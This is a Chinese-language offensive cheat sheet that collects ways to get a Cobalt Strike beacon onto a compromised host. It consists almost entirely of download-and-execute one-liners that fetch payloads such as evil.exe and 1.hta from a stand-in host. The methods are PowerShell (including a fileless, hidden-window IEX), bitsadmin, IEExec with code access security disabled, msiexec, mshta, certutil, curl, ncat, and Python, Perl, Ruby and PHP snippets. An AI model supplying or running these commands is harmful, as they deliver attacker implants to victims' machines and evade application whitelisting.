Cobaltstrike上线方式汇总

序言

Part.1 powershell

远程下载本地保存

powershell (new-object System.Net.WebClient).DownloadFile('http://soga/1.txt','1.exe')

无文件落地

powershell -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://soga/1.txt'))"

Part.2 bitsadmin

bitsadmin /transfer n http://soga/evil.txt C:\1.exe

Part.3 IEExec

IEexec程序自带白名单(需要管理员权限)

C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s offC:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://soga/evil.exe

Part.4 msiexec

msiexec(自带cmd,可远程下载运行msi恶意文件)

msiexec /q /i http://soga/1.msi 

Part.5 mshta

mshta(自带,可远程执行.hta文件实现无文件落地)

mshta http://soga/1.hta

Part.6 Pyhon

>>> import urllib2
>>> u = urllib2.urlopen('http://soga/1.hta')
>>> localfile = open('local_file.hta','w')
>>> localfile.write(u.read())
>>> localfile.close()

Part.7 certutil

远程下载文件到本地

certutil -urlcache -split -f http://soga/1.txt 1.exe

Part.8 curl

curl http://soga/1.exe -o 1.exe

Part.9 ncat

本地监听 传递需要上传的文件
nc -lvp 4444 < 1.exe

目标主机远程下载
nc  host 4444 >1.exe

Part.10 Perl

可用python -m http.server启动http服务远程下载执行

#!perl
#!/usr/bin/perl

use LWP::Simple;
getstore("http://soga/evil.sh","1.sh");

Part.11 Ruby

#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("host") { |http|
r = http.get("/1.sh")
open("save_location.sh", "wb") { |file|
file.write(r.body)
}
}

Part.12 PHP

当目标主机内安装了Php时，我们可以在终端使用vim来编辑一个PHP脚本，之后执行PHP来实现远程文件下载：

<?php
 $data = @file("http://soga/file");
        $lf = "local_file";
        $fh = fopen($lf, 'w');
        fwrite($fh, $data[0]);
        fclose($fh);
?>